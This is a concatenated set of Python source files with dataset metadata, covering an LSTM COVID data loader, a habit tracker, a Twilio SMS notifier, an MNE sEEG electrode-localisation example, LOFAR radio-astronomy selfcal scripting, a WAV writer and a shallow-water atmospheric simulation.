torch.tensor(train_val_X, dtype=torch.float).reshape(-1, window_backward, n_features)\r\n    train_val_y = torch.tensor(train_val_y, dtype=torch.float).reshape(-1, pred_day)\r\n\r\n    return train_X, train_y, val_X, val_y, train_val_X, train_val_y\r\n\r\n\r\nif __name__ == '__main__':\r\n    os.chdir('../')\r\n    seed = 100\r\n    np.random.seed(seed)\r\n    random.seed(seed)\r\n\r\n\r\n    window_backward = 10\r\n    window_forward = 3\r\n    uncertain_day = 15\r\n    n_features = 11\r\n    pred_day = uncertain_day + window_forward\r\n    test_num = 30 + uncertain_day\r\n    country = 'India'\r\n\r\n\r\n    disease = disease()\r\n    mobility = mobility(country)\r\n    feature_country, ind = merge_hist(mobility, disease, country, None)\r\n\r\n    train_val_data = feature_country.iloc[:-test_num,:]\r\n    train_val_data_scaled, label = train_val_data.iloc[:,2:], train_val_data.iloc[:,-1].values\r\n    train_val_data_scaled_sample = series_to_supervised(train_val_data_scaled, window_backward)\r\n\r\n\r\n    # data_scaled, label, scaler, min_max_scaler = maxmin_scale(feature_country)\r\n    train_X, train_y, val_X, val_y, train_val_X, train_val_y = data_split(\r\n        train_val_data_scaled_sample, label, window_backward, pred_day, n_features)\r\n", "sub_path": "India/3/BPISI_LSTM_DataLoad.py", "file_name": "BPISI_LSTM_DataLoad.py", "file_ext": "py", "file_size_in_byte": 11619, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pandas.read_csv", "line_number": 16, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.diff", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 57, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 82, "usage_type": "call"}, {"api_name": "pandas.isnull", "line_number": 88, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 131, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 133, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 137, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 138, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 156, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 156, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 159, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 159, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 161, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 173, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 173, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 176, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 176, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 180, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 192, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 192, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 195, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 195, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 197, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 208, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 218, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 241, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 243, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 245, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 246, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 248, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 248, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 249, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 249, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 250, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 250, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 251, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 251, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 252, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 252, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 253, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 253, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 259, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 261, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 262, "usage_type": "call"}]}
+{"seq_id": "444051587", "text": "from datetime import datetime\n\nmoods = {\n        'blue'     : 0,\n        'down'     : 1,\n        'angry'    : 1,\n        'fine'     : 2,\n        'normal'   : 3,\n        'cool'     : 4,\n        'happy'    : 5,\n        'awesome'  : 6,\n    }\n\nbadges = {\n    'self-honesty'  : 7,\n    'determined'    : 14,\n    'focused'       : 30,\n    'disciplined'   : 60,\n    'monk'          : 90,\n    'champion'      : 100,\n    }\n\nhabit_frequency={\n    'addicted'  : 10,\n    'high_usage':  8,\n    'daily'     :  4,\n    'often'     :  2,\n    }\n\nhabit_asking={\n    'addicted'  :  6,\n    'high_usage':  5,\n    'daily'     :  4,\n    'often'     :  3,\n    }\n\nclass Counter(object):\n    \"\"\" Keeps track of the habit being counted\n    \n    It keeps track of the number of days you are abstinent of some habit.\n    Habits are associated with frequency in a certain time value (day, week, month, etc...),\n    so here it counts the number of days the user is not doing the activity.\n    \n    The counter has some difficulty associated because of the degree of the habit frequency.\n    So, if the user is a number of days without doing that activity, she/he will be\n    rewarded with a bagde (being 'self-honesty' a bagde associated with the awareness of the\n    habit).\n    \n    Args:\n        days(list(Day)): The list of days abstinent\n        name(str): Habit name\n        description(str): Habit description\n        frequency(str): How often the user does the habit\n        badge(str): The user badge associated with the number of days without doing the habit\n        asking(str): the habit frequency associated with the number of mood questions along the day\n        current_day(Day): the counter current day\n    \"\"\"\n    def __init__(self, name='Counter', description='', frequency='often'):\n        self.days = []\n        self.name = name\n        self.description=description\n        self.badge='self-honesty'\n        self.frequency=frequency\n        self.asking   = 'often'\n        self.current_day = None\n        self.relapse_days = []\n        self.edging_days  = []\n        self.day_count = 0\n        \n    def set_new_day(self, mood='normal'):\n        new_day = Day([(mood, datetime.now().time())])\n        self.current_day = new_day\n        self.days.append(new_day)\n        \n    def set_current_mood(self, mood):\n        self.current_day.append((mood, time.now()))\n        \n    def set_relapse_day(self, day):\n        self.relapse_days.append(day)\n        self.day_count = 0\n        \n    def set_edging_day(self, day):\n        self.edging_days.append(day)\n    \n    \nclass Day(object):\n    \"\"\" The day log associated with the activity\n    \n    This is tries to get track of the behaviour associated with the habit, \n    like cravings and edging. So it will be asked the user how is he feeling \n    regarding the general day and the habit itself.\n    \n    Args:\n        moods(list(Mood)): The moods of the user along the day. The mood is associated with a time\n            so it can keep track of moods swings along the day.\n        edging(bool): If the user was edging that day\n        relapsed(bool): If the user relapsed that day. This zeros the Counter days, but don't delete\n            the Day list.\n        relapse_time(datetime): The day and time the user relapsed the habit\n    \n    \"\"\"\n    \n    def __init__(self, moods=[]):\n        self.moods    = moods\n        self.edging   = False\n        self.relapsed     = False\n        self.relapse_datetime = datetime.now()\n", "sub_path": "nay/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 3457, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "datetime.datetime.now", "line_number": 71, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 71, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 107, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 107, "usage_type": "name"}]}
+{"seq_id": "108742174", "text": "\nfrom twilio.rest import Client\n\ntwilio_number = \"\" \ntwilio_account = \"\"\ntwilio_token = \"\"\n\n# Sends an SMS to user's number with update\ndef notify_user(phone, update):\n\n    # Credentials\n    account = twilio_account\n    token = twilio_token\n    client = Client(account, token)\n    \n    # Message\n    client.messages.create(\n        to = phone,\n        from_ = twilio_number,\n        body = update\n    )\n", "sub_path": "notify.py", "file_name": "notify.py", "file_ext": "py", "file_size_in_byte": 403, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "twilio.rest.Client", "line_number": 14, "usage_type": "call"}]}
+{"seq_id": "325312548", "text": "\"\"\"\n.. _ex-ieeg-micro:\n\n====================================================\nLocating micro-scale intracranial electrode contacts\n====================================================\n\nWhen intracranial electrode contacts are very small, sometimes\nthe computed tomography (CT) scan is higher resolution than the\nmagnetic resonance (MR) image and so you want to find the contacts\non the CT without downsampling to the MR resolution. This example\nshows how to do this.\n\"\"\"\n\n# Authors: Alex Rockhill \n#\n# License: BSD-3-Clause\n\nimport numpy as np\nimport nibabel as nib\nimport mne\nimport mne_gui_addons as mne_gui\n\n# path to sample sEEG\nmisc_path = mne.datasets.misc.data_path()\nsubjects_dir = misc_path / \"seeg\"\n\n# GUI requires pyvista backend\nmne.viz.set_3d_backend(\"pyvistaqt\")\n\n# we need three things:\n# 1) The electrophysiology file which contains the channels names\n# that we would like to associate with positions in the brain\n# 2) The CT where the electrode contacts show up with high intensity\n# 3) The MR where the brain is best visible (low contrast in CT)\nraw = mne.io.read_raw(misc_path / \"seeg\" / \"sample_seeg_ieeg.fif\")\nCT_orig = nib.load(misc_path / \"seeg\" / \"sample_seeg_CT.mgz\")\nT1 = nib.load(misc_path / \"seeg\" / \"sample_seeg\" / \"mri\" / \"T1.mgz\")\n\n# we'll also need a head-CT surface RAS transform, this can be faked with an\n# identify matrix but we'll find the fiducials on the CT in freeview (be sure\n# to find them in surface RAS (TkReg RAS in freeview) and not scanner RAS\n# (RAS in freeview)) (also be sure to note left is generally on the right in\n# freeview) and reproduce them here:\nmontage = mne.channels.make_dig_montage(\n    nasion=[-28.97, -5.88, -76.40],\n    lpa=[-96.35, -16.26, 17.63],\n    rpa=[31.28, -52.95, -0.69],\n    coord_frame=\"mri\",\n)\nraw.set_montage(montage, on_missing=\"ignore\")  # haven't located yet!\nhead_ct_t = mne.transforms.invert_transform(mne.channels.compute_native_head_t(montage))\n\n# note: coord_frame = 'mri' is a bit of a misnormer, it is a reference to\n# the surface RAS coordinate frame, here it is of the CT\n\n\n# launch the viewer with only the CT (note, we won't be able to use\n# the MR in this case to help determine which brain area the contact is\n# in), and use the user interface to find the locations of the contacts\ngui = mne_gui.locate_ieeg(raw.info, head_ct_t, CT_orig)\n\n# we'll programmatically mark all the contacts on one electrode shaft\nfor i, pos in enumerate(\n    [\n        (-52.66, -40.84, -26.99),\n        (-55.47, -38.03, -27.92),\n        (-57.68, -36.27, -28.85),\n        (-59.89, -33.81, -29.32),\n        (-62.57, -31.35, -30.37),\n        (-65.13, -29.07, -31.30),\n        (-67.57, -26.26, -31.88),\n    ]\n):\n    gui.set_RAS(pos)\n    gui.mark_channel(f\"LENT {i + 1}\")\n\n# finally, the coordinates will be in \"head\" (unless the trans was faked\n# as the identity, in which case they will be in surface RAS of the CT already)\n# so we need to convert them to scanner RAS of the CT, apply the alignment so\n# that they are in scanner RAS of the MRI and from there to surface RAS\n# of the MRI for viewing using freesurfer recon-all surfaces--fortunately\n# that is done for us in `mne.transforms.apply_volume_registration_points`\n\n# note that since we didn't fake the head->CT surface RAS transform, we\n# could apply the head->mri transform directly but that relies of the\n# fiducial points being marked exactly the same on the CT as on the MRI--\n# the error from this is not precise enough for intracranial electrophysiology,\n# better is to rely on the precision of the CT-MR image registration\n\nreg_affine = np.array(\n    [  # CT-MR registration\n        [0.99270756, -0.03243313, 0.11610254, -133.094156],\n        [0.04374389, 0.99439665, -0.09623816, -97.58320673],\n        [-0.11233068, 0.10061512, 0.98856381, -84.45551601],\n        [0.0, 0.0, 0.0, 1.0],\n    ]\n)\n\nraw.info, head_mri_t = mne.transforms.apply_volume_registration_points(\n    raw.info, head_ct_t, CT_orig, T1, reg_affine\n)\n\nbrain = mne.viz.Brain(subject=\"sample_seeg\", subjects_dir=subjects_dir, alpha=0.5)\nbrain.add_sensors(raw.info, head_mri_t)\nbrain.show_view(azimuth=120, elevation=100)\n", "sub_path": "mne-gui-addons/_downloads/92d2492400af340dcf1dfb6aebcc1bb2/locate_ieeg_micro.py", "file_name": "locate_ieeg_micro.py", "file_ext": "py", "file_size_in_byte": 4148, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "mne.datasets.misc.data_path", "line_number": 25, "usage_type": "call"}, {"api_name": "mne.datasets", "line_number": 25, "usage_type": "attribute"}, {"api_name": "mne.viz.set_3d_backend", "line_number": 29, "usage_type": "call"}, {"api_name": "mne.viz", "line_number": 29, "usage_type": "attribute"}, {"api_name": "mne.io.read_raw", "line_number": 36, "usage_type": "call"}, {"api_name": "mne.io", "line_number": 36, "usage_type": "attribute"}, {"api_name": "nibabel.load", "line_number": 37, "usage_type": "call"}, {"api_name": "nibabel.load", "line_number": 38, "usage_type": "call"}, {"api_name": "mne.channels.make_dig_montage", "line_number": 45, "usage_type": "call"}, {"api_name": "mne.channels", "line_number": 45, "usage_type": "attribute"}, {"api_name": "mne.transforms.invert_transform", "line_number": 52, "usage_type": "call"}, {"api_name": "mne.transforms", "line_number": 52, "usage_type": "attribute"}, {"api_name": "mne.channels.compute_native_head_t", "line_number": 52, "usage_type": "call"}, {"api_name": "mne.channels", "line_number": 52, "usage_type": "attribute"}, {"api_name": "mne_gui_addons.locate_ieeg", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 91, "usage_type": "call"}, {"api_name": "mne.transforms.apply_volume_registration_points", "line_number": 100, "usage_type": "call"}, {"api_name": "mne.transforms", "line_number": 100, "usage_type": "attribute"}, {"api_name": "mne.viz.Brain", "line_number": 104, "usage_type": "call"}, {"api_name": "mne.viz", "line_number": 104, "usage_type": "attribute"}]}
+{"seq_id": "319877294", "text": "from argparse import ArgumentParser\nfrom glob import glob\nimport os\nimport casacore.tables as ct\n\nparser = ArgumentParser()\nparser.add_argument('--box', type=str, help='Measurement set input')\nparser.add_argument('--source', type=str, help='Source name')\nparser.add_argument('--script_path', type=str, help='Path to scripts')\nargs = parser.parse_args()\n\nTO = \"/project/lofarvwf/Share/jdejong/output/\" + args.source\n\nBOX = 'box_' + args.box\n\nSING_IMAGE = \"/home/lofarvwf-jdejong/singularities/lofar_sksp_fedora31_ddf.sif\"\nSING_BIND = \"/project/lofarvwf/Share/jdejong,/home/lofarvwf-jdejong/scripts\"\n\nbox_archives = sorted([b.split('/')[-1] for b in glob(TO + '/extract/' + BOX+'/*' + BOX + '.dysco.sub.shift.avg.weights.ms.archive*')])\n\n#starting times fom measurement sets that have to be cutted for time\nCUTTIMES = [5019387068.011121, 5017577408.011121, 5020506668.011121]\n\n#starting times for measurement sets that have to be cutted for freq\nCUTFREQS = [5021107868.011121]\n\nprint(box_archives)\n\nif len(box_archives) == 6:\n    for N, SUBBOX in enumerate(box_archives):\n        N = str(N + 1)\n        if ct.table(TO+\"/extract/\" + BOX + '/' + SUBBOX).getcol('TIME')[0] in CUTTIMES:\n            print('Cutting time for '+SUBBOX)\n            cml = [\n                \"singularity exec -B \" + SING_BIND + \" \" + SING_IMAGE + \" python \"+args.script_path+\"/lofar_helpers/supporting_scripts/flag_time.py -tf 0 1500 -msin \"+TO+\"/extract/\" + BOX + '/' + SUBBOX+\" -msout \"+TO+\"/selfcal/\"+BOX + '.' + N+'/'+SUBBOX,\n                \"cd \"+TO+\"/selfcal/\" + BOX + '.' + N,\n                \"singularity exec -B \" + SING_BIND + \" \" + SING_IMAGE + \" python \"+args.script_path+\"/runwscleanLBautoR.py -b \"+TO+\"/boxes/\" + BOX + \".reg --auto --imager=DDFACET --helperscriptspath=\"+args.script_path+\" --autofrequencyaverage-calspeedup='True' \"+SUBBOX]\n        elif ct.table(TO+\"/extract/\" + BOX + '/' + SUBBOX).getcol('TIME')[0] in CUTFREQS:\n            print('Cutting freq for '+SUBBOX)\n            cml = [\n                \"singularity exec -B \" + SING_BIND + \" \" + SING_IMAGE + \" python \"+args.script_path+\"/lofar_helpers/supporting_scripts/flag_freq.py -ff='[15..19]' -msin \"+TO+\"/extract/\" + BOX + '/' + SUBBOX+\" -msout \"+TO+\"/selfcal/\"+BOX + '.' + N+'/'+SUBBOX,\n                \"cd \"+TO+\"/selfcal/\" + BOX + '.' + N,\n                \"singularity exec -B \" + SING_BIND + \" \" + SING_IMAGE + \" python \"+args.script_path+\"/runwscleanLBautoR.py -b \"+TO+\"/boxes/\" + BOX + \".reg --auto --imager=DDFACET --helperscriptspath=\"+args.script_path+\" --autofrequencyaverage-calspeedup='True' \"+SUBBOX]\n        else:\n            cml = [\n                \"cp -r \"+TO+\"/extract/\" + BOX + '/' + SUBBOX + \" \" + TO+\"/selfcal/\" + BOX + '.' + N,\n                \"cd \"+TO+\"/selfcal/\" + BOX + '.' + N,\n                \"singularity exec -B \" + SING_BIND + \" \" + SING_IMAGE + \" python \"+args.script_path+\"/runwscleanLBautoR.py -b \"+TO+\"/boxes/\" + BOX + \".reg --auto --imager=DDFACET --helperscriptspath=\"+args.script_path+\" --autofrequencyaverage-calspeedup='True' \"+SUBBOX]\n        os.system(\"mkdir \" + TO+\"/selfcal/\" + BOX + '.' + N)\n        with open(TO+\"/selfcal/\" + BOX + '.' + N + \"/command.sh\", \"w+\") as f:\n            f.write(\"#!/bin/bash\\n\")\n            f.write(\"\\n\".join(cml))\n        os.system(\"chmod u+x \"+TO+\"/selfcal/\" + BOX + '.' + N + \"/command.sh\")\nelse:\n    raise ValueError(\"SOMETHING WENT WRONG WITH SELFCALLING \" + BOX)\n", "sub_path": "pipeline_scripts/surf/oldscripts/write_selfcal_command_subboxes.py", "file_name": "write_selfcal_command_subboxes.py", "file_ext": "py", "file_size_in_byte": 3393, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 6, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 19, "usage_type": "call"}, {"api_name": "casacore.tables.table", "line_number": 32, "usage_type": "call"}, {"api_name": "casacore.tables", "line_number": 32, "usage_type": "name"}, {"api_name": "casacore.tables.table", "line_number": 38, "usage_type": "call"}, {"api_name": "casacore.tables", "line_number": 38, "usage_type": "name"}, {"api_name": "os.system", "line_number": 49, "usage_type": "call"}, {"api_name": "os.system", "line_number": 53, "usage_type": "call"}]}
+{"seq_id": "507920836", "text": "import os\n\nfrom scipy.io import wavfile\n\ndef new_wav(values, path, name, frequency = 44100):\n    \"\"\"\n    Saves a new .wav file to the specified location.\n\n    :param values: Array of PCM values to be written (raw data).\n    :param path: Location of the new file.\n    :param name: Name of the new file.\n    :param frequency: Sample frequency of the new file.\n    \"\"\"\n\n    filename = os.path.join(path, 'mono')\n    filename = os.path.join(filename, name)\n\n    print(filename)\n\n    wavfile.write(filename, frequency, values)\n    return", "sub_path": "src-legacy/file/save.py", "file_name": "save.py", "file_ext": "py", "file_size_in_byte": 532, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "scipy.io.wavfile.write", "line_number": 20, "usage_type": "call"}, {"api_name": "scipy.io.wavfile", "line_number": 20, "usage_type": "name"}]}
+{"seq_id": "38269253", "text": "from __future__ import division\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom shallowwater import PeriodicShallowWater\nfrom plotting import plot_wind_arrows\n\nnx = 128\nny = 129\n\n\n# Radius of deformation: Rd = sqrt(2 c / beta)\nRd = 1000.0e3  # Fix Rd at 1000km\n\nLx = 20*Rd\nLy = 20*Rd\n\nbeta=2.28e-11\nc = Rd**2 * beta  # Kelvin/gravity wave speed: c = sqrt(phi0)\n\nprint('c', c)\nphi0 = c**2       # Set phi baseline from deformation radius\n\ncfl = 0.7         # For numerical stability CFL = |u| dt / dx < 1.0\ndx  = Ly / nx\ndt = np.floor(cfl * dx / (c*4))  # TODO check this calculation for c-grid\nprint('dt', dt)\n\ngamma = 2.0e-4\ntau = dt*15.0\n\n\nclass MatsunoGill(PeriodicShallowWater):\n    def rhs(self):\n        phi = self.phi\n\n        # phi rhs\n        dphi = np.zeros_like(phi)\n\n        #  Fixed heating on equator\n        dphi[nx//2-d:nx//2+d, ny//2-d:ny//2+d] = -hump*gamma\n        #  Newtonian relaxation\n        dphi -= (phi - phi0)/tau\n\n        return np.array([[0], [0], dphi])\n\n# Add a lump of fluid with scale 2 Rd\nd = (Ly // Rd)\nhump = (np.sin(np.arange(0, np.pi, np.pi/(2*d)))**2)[np.newaxis, :] * (np.sin(np.arange(0, np.pi, np.pi/(2*d)))**2)[:, np.newaxis]\n\natmos = MatsunoGill(nx, ny, Lx, Ly, beta=beta, f0=0.0, dt=dt, nu=5.0e4)\natmos.phi[:] += phi0\n\nplt.ion()\n\nnum_levels = 24\ncolorlevels = np.concatenate([np.linspace(-1, -.05, num_levels//2), np.linspace(.05, 1, num_levels//2)])\n\nplt.show()\nfor i in range(2000):\n\n\n    atmos.step()\n\n    if i % 10 == 0:\n\n        plt.figure(1, figsize=(8, 12))\n        plt.clf()\n\n        plt.suptitle('State at T=%.2f days' % (atmos.t / 86400.0))\n        plt.subplot(211)\n        x, y = np.meshgrid(atmos.phix/Rd, atmos.phiy/Rd)\n        rng = np.abs(atmos.phi - phi0).max()\n        plt.contourf(x, y, atmos.phi.T - phi0, cmap=plt.cm.RdBu, levels=colorlevels*rng)\n        plot_wind_arrows(atmos, (x,y), narrows=(25,25), hide_below=0.01)\n\n\n\n        #plt.xlim(-0.5, 0.5)\n        # # Kelvin wavespeed tracer\n        # kx = ((atmos.t*np.sqrt(phi0)/Lx % 1) - .5)\n        # plt.scatter([kx], [0.4], label='sqrt(phi) tracer')\n        # Heating souce location\n        c = plt.Circle((0,0), 0.5, fill=False)\n        plt.gca().add_artist(c)\n        plt.text(0, 0.7, 'Heating')\n        plt.xlabel('x (multiples of Rd)')\n        plt.ylabel('y (multiples of Rd)')\n        plt.xlim(-Lx/Rd/2, Lx/Rd/2)\n        plt.ylim(-Ly/Rd/2, Ly/Rd/2)\n        plt.title('Geopotential')\n\n        plt.subplot(212)\n        plt.plot(atmos.phix/Rd, atmos.phi[:, ny//2], label='equator')\n        plt.plot(atmos.phix/Rd, atmos.phi[:, ny//2+(Ly//Rd//2)], label='tropics')\n        plt.ylim(phi0*.99, phi0*1.01)\n        plt.legend(loc='lower right')\n        plt.title('Longitudinal Geopotential')\n        plt.xlabel('x (multiples of Rd)')\n        plt.ylabel('Geopotential')\n        plt.xlim(-Lx/Rd/2, Lx/Rd/2)\n        plt.pause(0.01)\n        plt.draw()\n\n# plt.figure(figsize=(12, 12))\n# plt.title('Geopotential disturbance at T=%.2f days' % (atmos.t / 86400.0))\n# x, y = np.meshgrid(atmos.phix/Rd, atmos.phiy/Rd)\n# rng = np.abs(atmos.phi - phi0).max()\n# plt.contourf(x, y, atmos.phi.T - phi0, cmap=plt.cm.RdBu, levels=colorlevels*rng)\n# plot_wind_arrows(atmos, (x,y), narrows=(25,25), hide_below=0.01)\n# c = plt.Circle((0,0), 0.5, fill=False)\n# plt.gca().add_artist(c)\n# plt.text(0, 0.7, 'Heating')\n# plt.xlabel('x (multiples of Rd)')\n# plt.ylabel('y (multiples of Rd)')\n# plt.xlim(-Lx/Rd/2, Lx/Rd/2)\n# plt.ylim(-Ly/Rd/2, Ly/Rd/2)\n# plt.savefig('gill_pattern.pdf')", "sub_path": "beta_plane/matsuno_gill.py", "file_name": "matsuno_gill.py", "file_ext": "py", "file_size_in_byte": 3483, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.floor", "line_number": 27, "usage_type": "call"}, {"api_name": "shallowwater.PeriodicShallowWater", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.zeros_like", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 50, "usage_type": "attribute"}, {"api_name": "numpy.newaxis", "line_number": 50, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.ion", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "numpy.meshgrid", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.contourf", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 75, "usage_type": "attribute"}, {"api_name": "plotting.plot_wind_arrows", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.Circle", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.draw", "line_number": 104, "usage_type": "call"}, {"api_name": 